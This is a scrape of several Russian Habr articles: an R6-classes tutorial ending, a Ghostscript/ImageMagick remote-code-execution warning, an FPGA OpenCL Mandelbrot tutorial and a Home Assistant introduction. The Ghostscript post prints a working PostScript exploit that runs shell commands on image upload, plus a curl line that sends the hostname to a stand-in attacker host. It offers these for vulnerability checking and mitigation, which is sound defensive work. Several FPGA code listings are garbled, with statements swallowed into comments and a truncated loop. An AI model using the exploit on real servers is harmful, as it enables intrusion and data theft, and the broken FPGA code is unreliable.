Как видите к активным методам мы обращаемся как к свойствам, т.е. без скобок и аргументов, но при этом выполняется функция `say`.
В функции мы реализовали проверку `if (missing(value))`, т.е. мы проверяем если идёт обращение к активному методу, то мы просто выводим случайную фразу из `self$dictionary`. Если в активный метод передать значение, то будет выполняться условие `else`, в нашем случае переопределение `self$dictionary`.
```
# переопределяем свойство
cat$say <- c('grrr', 'waw', 'chfw')
# используем активный метод
cat$say
```
```
"Tom say grrr"
```
Финализатор класса
==================
Вы можете добавить в класс специальный метод `$finalize`, который будет запускаться после удаления объекта при завершении R сессии.
Это полезно в тех случаях когда ваш класс работает с файлами или базами данных, тогда вы можете написать финализатор для того, что бы быть уверенным, что соединение с файлом или базой будет разорвано.
```
TemporaryFile <- R6Class("TemporaryFile", list(
path = NULL,
initialize = function() {
self$path <- tempfile()
},
finalize = function() {
message("Cleaning up ", self$path)
unlink(self$path)
}
))
```
> Пример кода взят из книги [Advanced R](https://adv-r.hadley.nz/r6.html#finalizer), автор Hadley Wickham
Добавление R6 классов в пакет
=============================
Ещё одно отличие R6 классов от S3 заключается в том, что вам не надо прописывать ваши R6 классы в фале NAMESPACE. Достаточно просто включить пакет R6 в поле `Imports` файла DESCRIPTION.
Полезные ссылки
===============
Данная статья не является свободным переводом какой-либо англоязычной публикации, но при её написании я пользовался следующими источниками:
1. [Advanced R, Hadley Wickham](https://adv-r.hadley.nz/r6.html)
2. [R6: Encapsulated object-oriented programming for R, Winston Chang](https://r6.r-lib.org/)
Заключение
==========
Как вы убедились R6 классы это реализация классического объектно ориентированного программирования в языке R.
Тем не менее данные класс используется в R достаточно редко, т.к. родной, и общепринятой реализацией ООП в R по-прежнему считаются [S3 классы](https://habr.com/ru/post/453964/).
Подписывайтесь на мой канал R4marketing в [Telegram](https://t.me/R4marketing) и [YouTube](https://www.youtube.com/R4marketing/?sub_confirmation=1). | https://habr.com/ru/post/521310/ | null | ru | null |
# Удалённое выполнение кода через загрузку картинок на вашем сервере или локальном компьютере в ghostscript/imagick
> Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)
Странно, что мимо хабросообщества прошла стороной новость ([оригинал](https://bugs.chromium.org/p/project-zero/issues/detail?id=1640)) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?
**Как проверить, что ваш сервер уязвим?**
Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)
```
%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).
userdict /setpagedevice undef
a4
currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped clear
% make sure we have a device with OutputFile
(ppmraw) selectdevice
mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops
{ showpage } stopped pop
quit
```
Ключевая команда: **sleep 5**
Альтернативной командой может быть
```
mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops
```
или что-то гораздо менее безобидное.
Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также вызывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.
**Что делать?**
К сожалению, не смотря на публикацию информации об уязвимости и [исправление](http://git.ghostscript.com/?p=ghostpdl.git;a=shortlog) ошибки, в обновлениях дистрибутивов может не быть исправленной версии.
На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.
**UPD:** в комментариях пишут что уязвимость всё ещё не исправлена в библиотеке!
**UPD2:** фикс для фикс для imagemagick для запрещения использования PostScript и PDF файлов от [elvenpath](https://habr.com/users/elvenpath/): в файле /etc/ImageMagick-6/policy.xml или /etc/ImageMagick-7/policy.xml в зависимости от версии ImageMagick нужно написать:
```
``` | https://habr.com/ru/post/422351/ | null | ru | null |
# Пример программирования FPGA-ускорителя
Не так давно мы рассказали о новой услуге Selectel — [облачных высокопроизводительных вычислениях на FPGA-ускорителях](https://blog.selectel.ru/fpga-uskoriteli-uxodyat-v-oblaka/?utm_source=blog_selectel_ru&utm_medium=inner_referral). В новой статье на эту тему рассмотрим пример программирования FPGA для построения множества Мандельброта, — известного математического алгоритма для визуализации фрактальных изображений. В статье использован материал с сайта [Эйлер Проджект](http://eulerproject.com/).
* [Вместо предисловия](#name1)
* [Забегая вперед: попробуйте FPGA в работе](#name2)
* [О стандарте OpenCL для программирования FPGA](#name3)
* [Среда OpenCL для создания исполняемого кода](#name4)
* [Ближе к делу: строим фрактал](#name5)
* [Заключение](#name6)
Вместо предисловия
------------------
Вначале немного терминов. Вычислительная система с FPGA-ускорителем — как правило, это PCIe-адаптер c микросхемой FPGA в составе сервера х64. Ускоритель принимает на себя отдельную ресурсоемкую задачу, в которой можно задействовать параллельные вычисления и выполняет ее на многие порядки быстрее, чем процессор x64, разгружая его и повышая производительность всей вычислительной системы. К примеру, цикл расчета со 100 тысячами повторов может быть выполнен на FPGA всего за один проход вместо последовательного выполнения 100 тысяч раз на классическом процессоре х64. Логические элементы, аппаратные ресурсы коммуникационные связи микросхемы FPGA программируются пользователем непосредственно под саму задачу, что позволяет реализовать задачу как имплементацию алгоритма в кремнии — Algorithm in Silicon и достичь тем самым высокого быстродействия, причем при очень скромном энергопотреблении.
Сегодня порог вхождения в технологию FPGA вполне доступен даже стартапам — сервер с FPGA-ускорителем и всем необходимым ПО (SDK) можно арендовать в облаке Selectel за разумные деньги (так называемый «облачный FPGA»), а поддержка стандарта Open CL в FPGA ведет к тому, что программист, умеющий работать с языком С, в состоянии подготовить и запустить программу на FPGA.
Забегая вперед: попробуйте FPGA в работе
----------------------------------------
Описываемый ниже пример программирования для построения множества Мандельброта уже реализован на тестовом сервере [в лаборатории Selectel Lab](https://selectel.ru/lab/fpga/?utm_source=blog_selectel_ru&utm_medium=inner_referral), где оценить его быстродействие может любой желающий (потребуется регистрация).
Проект предоставлен в коде и подготовлен к компиляции. Selectel предлагает удаленный доступ к серверу с ускорителем Intel Arria 10 FPGA. На стороне сервера развернуты инструменты SDK и BSP для разработки, отладки и компиляции кода OpenCL, Visual Studio для подготовки хост-приложений (управляющих приложений для центрального процессора сервера).
> Заметим, что какого-либо прикладного значения сам пример не имеет, он выбран из соображений наглядной демонстрации методов ускорения при помощи принципов параллелизма. На этом примере читатель знакомится с маршрутом проектирования приложения в гетерогенной вычислительной системы c FPGA, — впоследствии этот маршрут можно использовать для разработки собственных приложений с параллельными вычислениями.
**UPDATE**: Весной 2018 года Intel представила высокопроизводительный гибридный процессор Xeon Gold 6138P со встроенным чипом Arria 10 FPGA. Ожидается, что к концу 2018 года серийные процессоры этого типа станут доступны клиентам через партнеров Intel. Мы в Selectel с нетерпением ожидаем этот чип, и надеемся, что первыми в России предоставим нашим клиентам возможность тестирования этой уникальной новинки.
О стандарте OpenCL для программирования FPGA
--------------------------------------------
Стандарт OpenCL разработан Khronos Group — ведущими мировыми производителями чипов и ПО в составе Intel, AMD, Apple, ARM, Nvidia, Sony Computer Entertainment и др. Он предназначен для написания приложений, в которых используются параллельные вычисления на различных типах процессоров, включая FPGA. В стандарт OpenCL входят язык программирования Си на основе версии языка C99 (последняя версия C99 — ISO/IEC 9899:1999/Cor 3:2007 от 2007-11-15) и среда программирования приложений.
Популярность применения OpenCL для программирования высокопроизводительных вычислений основана на том, что это открытый стандарт, и его использование не требует приобретения лицензии. Более того, OpenCL не ограничивает круг поддерживаемых устройств каким-либо конкретным брендом, позволяя использовать на одной программной платформе аппаратные средства разных производителей.
> Дополнительно про OpenCL: [Введение в OpenCL на Хабр](https://habr.com/post/124925/).
>
>
>
>
Немного истории — маршрут проектирования FPGA, существовавший до стандарта OpenCL, был крайне специфичен и трудоемок, при этом по сложности превосходил даже проектирование заказных микросхем (ASIC, application-specific integrated circuit, «интегральная схема специального назначения»). Требовалось скрупулезное понимание аппаратной структуры FPGA, конфигурирование которой надо было проводить на низкоуровневом языке описания аппаратуры (HDL — hardware description language). Владение этим маршрутом проектирования и верификации было и остается искусством, которое ввиду чрезвычайной трудоемкости доступно ограниченному кругу разработчиков.
Появление инструментария поддержки OpenCL для FPGA от Intel отчасти сняло проблему доступности программирования FPGA для разработчиков ПО. Программист самостоятельно выделяет ту часть своего алгоритма, что подходит для обработки методом параллельных вычислений и описывает ее на языке С, далее компилятор OpenCL для FPGA от Intel создает бинарный конфигурационный файл для запуска этого фрагмента алгоритма на ускорителе.
Используя привычную среду Visual Studio или стандартный gcc-компилятор, готовится хостовое приложение (приложение типа .exe, исполняемое на основном процессоре х64), при этом все необходимые библиотеки поддержки включены в состав SDK. При запуске хостового приложения загружается прошивка FPGA, данные загрузятся в ядро чипа и начнется обработка в соответствии с задуманным алгоритмом.
> Микросхема FPGA (ПЛИС) является перепрограммируемой пользователем массивно-параллельной аппаратной структурой с миллионами логических элементов, тысячами сигнальных блоков DSP и десятками мегабайт кэш-памяти для проведения расчетов «на борту», без обращения к модулям основной памяти сервера. Быстрые интерфейсы ввода-вывода (10GE, 40GE, 100GE, PCIe Gen 3, и т.д.) позволяют эффективно обмениваться данными с основным процессором сервера.
>
>
>
>
Стандарт OpenCL представляет собой среду для исполнения гетерогенного программного обеспечения. Среда состоит из двух отдельных частей:
1. ПО хоста — приложение, выполняемое на основном центральном процессоре сервера, написанное на языке С/C++ и использующее в работе набор функций OpenCL API. Сервер хоста организует весь процесс вычислений, подачу исходных и получение выходных данных, осуществляет взаимодействие всех систем сервера с FPGA-ускорителем.
2. ПО ускорителя — программа, написанная на языке OpenCL C (язык C с рядом ограничений), прошедшая компиляцию для выполнения на микросхеме FPGA.
Типовой сервер для параллельных вычислений — это компьютер на базе архитектуры x64 (для выполнения приложений хоста), имеющий в своем составе аппаратный FPGA-ускоритель, чаще всего подключенный по шине PCI-Express. К слову, именно такая система представлена в лаборатории Selectel Lab.
Последовательность программирования и компиляции кода для FPGA-ускорителя состоит из двух этапов. Код хостового приложения компилируется стандартным компилятором (Visual C++, GCC) с получением исполняемого файла в операционной системе сервера (например, \*.exe). Исходный код FPGA-ускорителя (ядро, kernel) готовится компилятором AOC в составе SDK, — с получением двоичного файла (\*.aocx). Этот файл как раз и предназначен для программирования ускорителя.
[](https://blog.selectel.ru/wp-content/uploads/2018/07/arc_OpenCL.png)
Рис. Архитектура среды компиляции программы на OpenCL
Рассмотрим некоторый пример кода для расчета большого вектора в двух вариантах
(**P.S. Не стреляйте в пианиста — здесь и далее использован код с сайта Эйлер Проджект**):
```
void inc (float *a, float c, int N)
{
for (int i = 0; i
```
```
_kernel
void inc (_global float *a, float c)
{
int i = get_global_id(0);
a[i] = a[i] + c;
}
void main() {
...
clEnqueueNDRangeKernel(...,&N,...)
...
}
```
Код вначале — пример того, как может выглядеть однопоточная реализация на С с применением метода последовательного вычисления скалярных элементов.
Второй вариант кода — это возможная реализация алгоритма на OpenCL в виде функции, вычисляемой на FPGA-ускорителе. Здесь отсутствует цикл, и вычисление происходит за одну итерацию цикла. Расчет векторного массива происходит как выполнение N копий данной функции. Каждая копия имеет свой индекс, подставляемый в итератор в цикле, а число повторов задается от хоста при выполнении кода. Действие итератора обеспечивает функция get\_global\_id(), работающая с индексом в пределах 0 ≤ index < N.
Ближе к делу: строим фрактал
----------------------------
Множество Мандельброта представляет собой массив точек «с» на комплексной плоскости, для которых рекуррентное соотношение Zn+1 = Zn² + c при Z0=0 задает ограниченную последовательность.
Определим Zn = Zn + IYn, и также с = p + iq.
Для каждой точки рассчитывается следующая последовательность:
Xn+1 = Xn² + Yn² + p
Yn+1 = 2XnYn + q
Расчет принадлежности точки множеству на каждой итерации выполняется как уравнение
Xn² + Yn² < 4.
Для отображения множества Мандельброта на экране определим правило:
1. Если неравенство выполняется при любых итерациях, то точка входит в множество и будет показана черным цветом.
2. Если неравенство не выполняется, начиная с некоторого значения итераций n = N, то цвет определяется числом итераций N.
Процесс расчета на хосте будет следующим:
* Расчет числа итераций для каждой точки внутри окна пиксел возложим на функцию mandel\_pixel().
* Последовательный перебор точек изображения обеспечит функция softwareCalculateFrame(). Параметры задают вещественный интервал вычисляемых точек, вещественный шаг алгоритма и указатель на цветовой буфер изображения размером (theWidth \* theHeight).
* Цвет точки оправляется по палитре theSoftColorTable.
Перейдем к коду:
```
inline unsigned int mandel_pixel( double x0, double y0, unsigned int maxIterations ) {
// variables for the calculation
double x = 0.0; double y = 0.0; double xSqr = 0.0; double ySqr = 0.0;
unsigned int iterations = 0;
// perform up to the maximum number of iterations to solve
// the current point in the image
while ( xSqr + ySqr < 4.0 &&iterations < maxIterations )
{
// perform the current iteration
xSqr = x*x;
ySqr = y*y;
y = 2*x*y + y0;
x = xSqr - ySqr + x0;
// increment iteration count
iterations++;
}
// return the iteration count
return iterations;
}
```
```
int softwareCalculateFrame( double aStartX, double aStartY,
double aScale, unsigned int* aFrameBuffer )
{
// temporary pointer and index variables unsigned int * fb_ptr = aFrameBuffer; unsigned int j, k, pixel; // window position variables double x = aStartX; double y = aStartY; double cur_x, cur_y;
double cur_step_size = aScale;
// for each pixel in the y dimension window
for ( j = 0, cur_y = y; j < theHeight; j++, cur_y -= cur_step_size )
{
// for each pixel in the x dimension of the window
for ( cur_x = x, k = 0; k< theWidth; k++, cur_x += cur_step_size )
{
// set the value of the pixel in the window pixel = mandel_pixel(cur_x, cur_y, theSoftColorTableSize);
if ( pixel == theSoftColorTableSize )
*fb_ptr++ = 0x0;
else
*fb_ptr++ = theSoftColorTable[pixel];
}
}
return 0;
}
```
Каждый пиксел рассчитывается независимо от другого, и поэтому можно распараллелить этот процесс. При реализации алгоритма для FPGA-ускорителя создается SIMD-инструкция для вычисления числа для каждого пиксела итераций (определяя код цвета по палитре). Реализация двух вложенных циклов по буферу изображения оформлена через OpenCL запуском операции (theWidth \* theHeight).
Экземпляры ядра в листинге ниже называются work-item, а множество всех экземпляров — индексным пространством. К особенностям аппаратной функции можно отнести следующие:
* Объявление функции начинается с ключевого слова \_\_kernel.
* Тип аппаратной функции — тип возвращаемого значения всегда void.
* Возврат значений производится через буферы, передаваемые в качестве параметров.
+ Первые три параметра задают вещественную сетку, узлы которой соответствуют пикселям изображения на выходе.
+ Четвертый параметр ограничивает число итераций, предотвращающее зацикливание для точек, принадлежащий множеству Мандельброта.
+ Пятый параметр – указатель на выходной цветовой буфер.
+ Ключевое слово \_\_global обозначает тип памяти, через которую буфер будет передаваться: это общая память DDR (QDR) на самом ускорителе.
+ Ключевое слово restrict передает оптимизатору запрет на использование косвенных ссылок на буфер.
+ В 6-м параметре передается указатель на палитру.
+ Ключевое слово \_\_constant оптимизирует обращения к буферу методом генерации кэша с атрибутом «только чтение».
Описание функции в листинге близко к реализации для процессора х64. Здесь определение текущего экземпляра ядра производится через функцию get\_global\_id, в которую передается номер размерности (0, 1) как параметр.
Для лучшей оптимизации введено явное указание на запуск цикла. В отсутствие сведений о числе итераций на момент компиляции, явно указано количество шагов цикла, так как для них будут созданы свои аппаратные блоки. При подобном кодировании, следует «оглядываться» на емкость конкретного чипа, установленного на ускорителе, ввиду расхода ресурсов FPGA на большее число циклов.
```
////////////////////////////////////////////////////////////////////
// mandelbrot_kernel.cl : Hardware implementation of the mandelbrot algorithm ////////////////////////////////////////////////////////////////////
// Amount of loop unrolling.
#ifndef UNROLL
#define UNROLL 20
#endif
// Define the color black as 0
#define BLACK 0x00000000
__kernel void hw_mandelbrot_frame ( const double x0, const double y0, const double stepSize, const unsigned int maxIterations,
__global unsigned int *restrict framebuffer, __constant const unsigned int *restrict colorLUT, const unsigned int windowWidth)
{
// Work-item position
const size_t windowPosX = get_global_id(0); const size_t windowPosY = get_global_id(1); const double stepPosX = x0 + (windowPosX * stepSize); const double stepPosY = y0 - (windowPosY * stepSize);
// Variables for the calculation
double x = 0.0; double y = 0.0; double xSqr = 0.0; double ySqr = 0.0;
unsigned
#pragma while
{
int iterations = 0;
// Perform up to the maximum number of iterations to solve
// the current work-item's position in the image
// The loop unrolling factor can be adjusted based on the amount of FPGA
// resources available. unroll UNROLL
xSqr + ySqr < 4.0 && iterations < maxIterations )
// Perform the current iteration xSqr = x*x; ySqr = y*y; y = 2*x*y + stepPosY; x = xSqr - ySqr + stepPosX; // Increment iteration count iterations++;
}
// Output black if we never finished, and a color from the look up table otherwise framebuffer[windowWidth * windowPosY + windowPosX] =
(iterations == maxIterations) ? BLACK : colorLUT[iterations];
}
```
Пакет утилит Intel FPGA SDK for OpenCL потребуется инсталлировать на хосте до начала компиляции аппаратной реализации алгоритма. В число предварительно устанавливаемых программных средств надо включить BSP (Board Support Package) от производителя конкретной платы ускорителя. В примере установлен Intel Quartus Prime Pro 16.1 с поддержкой OpenCL и BSP ускорителя Euler Thread (Intel Arria 10).
Ниже осуществляется настройка путей и переменных окружения. Переменная ALTERAOCLSDKROOT содержит путь к Intel FPGA SDK, переменная AOCL\_BOARD\_PACKAGE\_ROOT — к BSP ускорителя.
```
set ALTERAOCLSDKROOT=C:\intelFPGA_pro\16.1\hld
set AOCL_BOARD_PACKAGE_ROOT=C:\intelFPGA_pro\16.1\hld\board\euler_thread set path=%path%;C:\intelFPGA_pro\16.1\hld\bin set path=%path%;C:\intelFPGA_pro\16.1\quartus\bin64
set path=%path%;C:\intelFPGA_pro\16.1\hld\board\a10_ref\windows64\bin set path=%path%;C:\intelFPGA_pro\16.1\hld\host\windows64\bin
set path=%path%;C:\intelFPGA_pro\16.1\qsys\bin set path=%path%;C:\Program Files (x86)\GnuWin32\bin\
```
Для компиляции используется компилятор aoc из состава SDK.
```
aoc mandelbrot_kernel.cl -o mandelbrot_kernel.aocx --board thread -v -v --report
```
Расшифруем: mandelbrot\_kernel.cl — файл с исходным текстом, mandelbrot\_kernel.aocx — выходной объектный файл для программирования FPGA, thread — название ускорителя из пакета BSP. Ключ --report выводит отчет о расходе ресурсов FPGA. Ключ –v выводит диагностическую информацию при компиляции. Отчет о расходе ресурсов для kernel имеет следующий вид:
+--------------------------------------------------------------------+
; Estimated Resource Usage Summary;
+----------------------------------------+---------------------------+
; Resource + Usage;
+----------------------------------------+---------------------------+
; Logic utilization; 49%;
; ALUTs; 26%;
; Dedicated logic registers; 25%;
; Memory blocks; 21%;
; DSP blocks; 16%;
+----------------------------------------+---------------------------;
Для компиляции хостового приложения в примере использован пакет Microsoft Visual Studio 2010 Express с установленным Microsoft SDK 7.1. В настройках проекта выбрана конфигурация для x64. Далее следует подключить папку для внешних заголовочных файлов и в настройках компоновщика (linker) указать путь к дополнительным библиотекам Intel FPGA SDK.
Дополнительные каталоги включаемых файлов = $(ALTERAOCLSDKROOT)\host\include;
Дополнительные каталоги библиотек = $(AOCL\_BOARD\_PACKAGE\_ROOT)\windows64\lib;
```
$(ALTERAOCLSDKROOT)\host\windows64\lib;
```
Общий план действий для запуска ядра на ускорителе будет таким:
1. получить список платформ;
2. получить список устройств;
3. создать контекст;
4. загрузить ядро в устройство;
5. отправить входные буферы в устройство;
6. запустить ядро на исполнение;
7. прочитать выходной буфер из устройства;
8. освободить контекст.
Рассмотрим некоторые моменты, связанные непосредственно с запуском ядра. Итак, одно ядро предназначено для обработки одного пиксела изображения. Таким образом, нужно запустить N экземпляров ядра, где N — общее количество пикселов в изображении.
Ниже отметим случай, когда в составе сервера есть несколько плат ускорителей, — тогда задачу можно распределить между ними. В каждый из ускорителей нужно произвести загрузку ядра (файла mandelbrot\_kernel.aocx). Предположим, число ускорителей равно numDevices, и строки изображения делятся между всеми ускорителями:
```
#define MAXDEV 10
static cl_context theContext; static cl_program theProgram; static cl_kernel theKernels[MAXDEV]; //..
// Create the program object
theProgram = createProgramFromBinary( theContext,
"mandelbrot_kernel.aocx",
theDevices,
numDevices);
// Create the kernels
for ( unsigned i = 0; i < numDevices; ++i )
theKernels[i] = clCreateKernel( theProgram, "hw_mandelbrot_frame", &theStatus );
// Create output pixel buffers for every kernel for( unsigned i = 0; i < numDevices; ++i )
thePixelData[i] = clCreateBuffer(theContext, CL_MEM_WRITE_ONLY,
thePixelDataWidth*rowsPerDevice[i]*sizeof(unsigned int),
NULL, &theStatus);
// Preparing and writing palette buffer to every device
theHardColorTable = clCreateBuffer(theContext, CL_MEM_READ_ONLY,
aColorTableSize*sizeof(unsigned int), NULL, &theStatus); for( unsigned i = 0; i < numDevices; i++ ) theStatus = clEnqueueWriteBuffer(theQueues[i], theHardColorTable, CL_TRUE, 0,
aColorTableSize*sizeof(unsigned int), aColorTable, 0, NULL, NULL);
// Preparing kernels and run unsigned rowOffset = 0;
for ( unsigned i = 0; i < numDevices; rowOffset += rowsPerDevice[i++] ) {
// Create ND range size size_t globalSize[2] = { thePixelDataWidth, rowsPerDevice[i] };
// Set the arguments unsigned argi = 0; theStatus = clSetKernelArg (theKernels[i], argi++, sizeof(cl_double),
(void*) &aStartX );
const double offsetedStartY = aStartY - rowOffset * aScale; theStatus = clSetKernelArg(theKernels[i], argi++, sizeof(cl_double),
(void*)&offsetedStartY);
theStatus = clSetKernelArg(theKernels[i], argi++, sizeof(cl_double),
(void*)&aScale);
theStatus = clSetKernelArg(theKernels[i], argi++, sizeof(cl_uint),
(void*)&theHardColorTableSize);
theStatus = clSetKernelArg(theKernels[i], argi++, sizeof(cl_mem),
(void*)&thePixelData[i]);
theStatus = clSetKernelArg(theKernels[i], argi++, sizeof(cl_mem),
(void*)&theHardColorTable);
theStatus = clSetKernelArg(theKernels[i], argi++, sizeof(cl_uint),
(void*)&theWidth);
// Launch kernel
theStatus = clEnqueueNDRangeKernel(theQueues[i], theKernels[i], 2, NULL,
globalSize, NULL, 0, NULL, NULL);
}
rowOffset = 0;
for( unsigned i = 0; i < numDevices; rowOffset += rowsPerDevice[i++] ) {
// Read the output
theStatus = clEnqueueReadBuffer(theQueues[i], thePixelData[i], CL_TRUE, 0,
thePixelDataWidth*rowsPerDevice[i]*sizeof(unsigned int), &aFrameBuffer[rowOffset * theWidth], 0, NULL, NULL);
}
/
/
.
.
```
+ Функция createProgramFromBinary создает объект OpenCL-программы из объектного файла.
+ Далее для каждого устройства создается ядро на основе объекта программы.
+ Создаются буферы thePixelData для получения выходных данных из каждого ядра.
+ Создается буфер для хранения цветовой палитры и загружается в каждый из ускорителей.
+ Далее для каждого устройства задается привязка локальных параметров приложения и параметров ядра с помощью функции clSetKernelArg.
+ Определение параметров производится по порядковым номерам в объявлении функции ядра, начиная с нуля.
Следующий важный момент — определение размера задачи на основе индексного пространства согласно массиву globalSize. Данный массив может быть одно-, двух- или трехмерным. Для каждого измерения задается размерность в виде целого числа. Размерность пространства будет определять порядок индексации work-item в ядре.
В примере для каждого ядра задается двумерное пространство, где одна из осей – элементы строки пикселов, вторая — набор строк изображения, обрабатываемых на данном устройстве. В коде ядра номер пиксела в строке получается вызовом get\_global\_id(0), номер строки — get\_global\_id(1). Переменная globalSize передается в функцию clEnqueueNDRangeKernel для запуска требуемого количества экземпляров ядра на выполнение.
По завершении выполнения ядер — производится считывание пиксельных буферов из устройства в локальные массивы. Оценим быстродействие по количеству кадров в секунду — результат виден на демонстрации, осуществленной на конференции SelectelTechDay ([см. начало статьи](#name2)).
Заключение
----------
Программирование FPGA-ускорителей на языке высокого уровня, несомненно, на порядок снизило порог доступа к этой технологии для разработчиков. К примеру, для тех, кто только осваивает этот инструментарий, существует даже FPGA-реализация знаменитого примера [«Hello World»](https://www.altera.com/support/support-resources/design-examples/design-software/opencl/hello-world.html).
Но не все так просто. Написание, — и особенно, — отладка четко работающего алгоритма реальной прикладной задачи по-прежнему требуют высокого профессионализма. Еще одно ограничение — каждая микросхема FPGA может выполнить только одну вычислительную задачу в рамках работы приложения. Для другой задачи ее надо заново перепрограммировать.
> К слову, модель использования платформы позволяет иметь больше чем один FPGA-ускоритель на хосте, хотя это довольно дорогое решение.
>
> Хост (хостовое приложение) руководит процессом создания контекста (структуры данных для ускорителя) и очередью команд. Т.е. единое хостовое приложение, в котором есть различные подзадачи для параллельных вычислений на FPGA, может грузить их на разные ускорители:
>
> KERNEL1 => ACCELERATOR A
>
> KERNEL2 => ACCELERATOR B
Тем не менее, усилия по освоению FPGA-ускорителей стоят того — во многих прикладных областях эта технология становится незаменимой: телекоме, биотехнологиях, обработке больших данных, распознавании образов, обработке сигналов и изображений, в вычислительной математике и моделировании физических полей.
Дополнительная информация к статье:
[www.altera.com](http://www.altera.com/) — основной ресурс по технологиям Intel FPGA.
[www.eulerproject.com](http://eulerproject.com/) — официальный сайт компании Euler Project.
[Altera + OpenCL: программируем под FPGA без знания VHDL/Verilog](https://habr.com/post/269009/) — статья на Хабр. | https://habr.com/ru/post/418403/ | null | ru | null |
# Первое знакомство с Home Assistant
Home Assistant – популярное приложение с открытым исходным кодом для организации умного дома. Первый опыт автора в работе с Home Assistant основывается на попытке интеграции в него ‘умной рисоварки‘. Автор постарается описать основные компоненты и возможности данного приложения, с которыми ему привелось пошагово познакомиться. Статья является в чем-то обзором, в чем-то руководством для желающих начать свое знакомство с Home Assistant.
Тем, у кого мало свободного времени, советую пропустить присказку – первую главу – и перейти сразу ко второй. Вам нужно знать только, что работать мы будем с умной китайской рисоваркой от Xiaomi.
### Умная рисоварка
Рисоварка, очевидно, — это устройство для приготовления риса. Вики демонстрирует нам керамические рисовые пароварки из Британского музея, датирующиеся 1250 г. до н.э. В 1945 году корпорация Mitsubishi стала первой в Японии компанией, производящей домашнюю электрическую рисоварку. Наша модель — Rice Cooker от Xiaomi – может готовить не только рис. “Это великолепное устройство для приготовления не только риса, но других типов блюд. Оно может готовить и супы, и пирожные, и многое другое” — говорится в рекламе. Но самое главное — это наличие wi-fi модуля, ПО с возможностями автоматизации и 200+ программно установленных рецептов. “Путь к умному дому через желудок – это правильно”, подумал автор, и решился.
Xiaomi Rice Cooker, как и подобает цифровому устройству, внешне очень привлекательна, радует округлостью форм и общим минимализмом. Для её настройки и использования производитель предлагает приложение Mi Home. После регистрации Mi account, программа легко отыскивает новое устройство, и вы регистрируете его в вашей локальной сети. Интерфейс приложения не самый плохой, предоставляет базовые средства для автоматизации, может принимать уведомления от устройств. Однако, есть существенные недостатки. Не всех может порадовать отправление информации разработчику о каждом клике пользователя. И неприятное выражение находит часто упоминаемый нынче национальный калорит. Вместо 200+ рецептов на иностранные языки переведено и доступно всего лишь четыре. Остальное – исключительно для китайского народа. Когда ваша ‘умная’ рисоварка не способна выполнять все обещаные кулинарные обязанности, тут, согласитесь, становится грустно. Побродя некоторое время по интернетам, погрустневший автор наткнулся на следующий интересный [проект](https://github.com/syssi/xiaomi_cooker) (вечных благ автору). Который оказался посвящен разработке модуля для некоего Home Assistant.
### Home Assistant
Сперва, немного общей информации. Как нам говорят на [домашней странице HA](https://www.home-assistant.io/), ”Это ПО с открытым кодом для автоматизации умного дома, ориентирующееся на локальное управление и конфиденциальность. Развиваемый трудом открытого сообщества энтузиастов, он отлично подходит для работы на Raspberry Pi или локальном сервере.” Проекту более пяти лет, он использует python и лицензию Apache 2.0. Версия релиза на момент написания этих строк – 0.99.3.
Для управления устройствами HA использует отдельные модули (integrations, или components). Создать такой довольно просто. На сайте можно найти каталог [основных](https://www.home-assistant.io/integrations) (одобренных и поддерживаемых сообществом) модулей. Среди общего их количества (1485 штук) попадаются совершенно разнообразные, в каталоге значятся имена amazon, google, xiaomi, и даже один раз yandex.
Попробуем [установить](https://www.home-assistant.io/docs/installation/virtualenv/) HA в виртуальное окружение на линукс десктопе. Нам понадобится python3 и менеджер пакетов pip.
```
python3 -m venv homeassistant # Создаем виртуальное окружение
cd homeassistant
source bin/activate # Активируем виртуальное окружение
python3 -m pip install homeassistant # Устанавливаем Home Assistant
hass --open-ui # Запускаем Home Assistant
```
После этого на <http://localhost:8123> станет доступнен графичекий интерфейс HA. При первом входе потребуется создать аккаунт пользователя. Веб-интерфейс HA довольно объемен. Пара важных элементов, о которых стоит упомянуть в самом начале, это закладка Configuration → General, где вы легко можете перезагрузить файлы конфигурации или сам сервер. А также страница Info в списке Developers tools, где можно посмотреть логи ошибок.
Все необходимые пользователю данные HA хранит, в случае линукс, в папке настроек “~/.homeassistant”. Файлы настройки записаны в формате [YAML](https://www.home-assistant.io/docs/configuration/yaml/), и основной из них – это “configuration.yaml”. Он объединяет данные модулей, автоматизаций, etc. Возможность импорта позволяет разбить настройки на отдельные логически организованные файлы. Модули же хранятся в подпапках “components” (встроенные) и “custom\_components”.
Этих знаний для установки нового модуля нам должно быть достаточно. Копируем с репозитория папку “xiaomi\_cooker” в нашу “~/.homeassistant/custom\_components”. Согласно описанию, добавляем настройки модуля в файл “configuration.yaml”:
**configuration.yaml**
```
xiaomi_cooker: # Имя модуля
name: 'Akari' # Имя устройства
host: 192.168.1.10 # IP адрес устройства
token: '4921def609273302248d040a24243a25' # Замуты протокола Xiaomi
model: chunmi.cooker.normal2 # Модель устройства
```
Готово. После перезагрузки HA в разделе General → Integrations веб-интерфейса появится запись о новом модуле.
